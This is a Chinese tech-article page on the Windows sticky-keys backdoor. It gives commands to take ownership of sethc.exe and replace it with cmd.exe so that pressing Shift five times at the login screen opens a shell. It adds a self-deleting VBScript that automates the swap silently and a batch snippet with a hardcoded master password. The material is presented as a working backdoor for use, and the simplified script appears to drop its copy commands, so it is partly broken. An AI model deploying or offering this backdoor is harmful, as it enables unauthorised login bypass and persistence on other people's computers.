扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
什么是粘滞键?
当你在Windows操作系统里面连续按下5次Shift键之后,你看看出来了什么?
在windows 2000/xp/Vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。
一、具体的替换方法:
XP系统:
将安装源光盘弹出(或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
Vista系统:
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
上两步为获得权限的命令,你也可以通过Vista优化大师获得右键菜单的提升权限的功能,然后在sethc.exe文件上面右键直接提升权限。
然后按XP方法替换文件
在登录界面按5此SHIFT,出来cmd shell,然后……
二、后门扩展:
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
第二句最有意思了,自动应答....以前就遇到过类似的问题
再更新,加个自删除、简化代码:
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
Echo 请联系咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
:endx
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者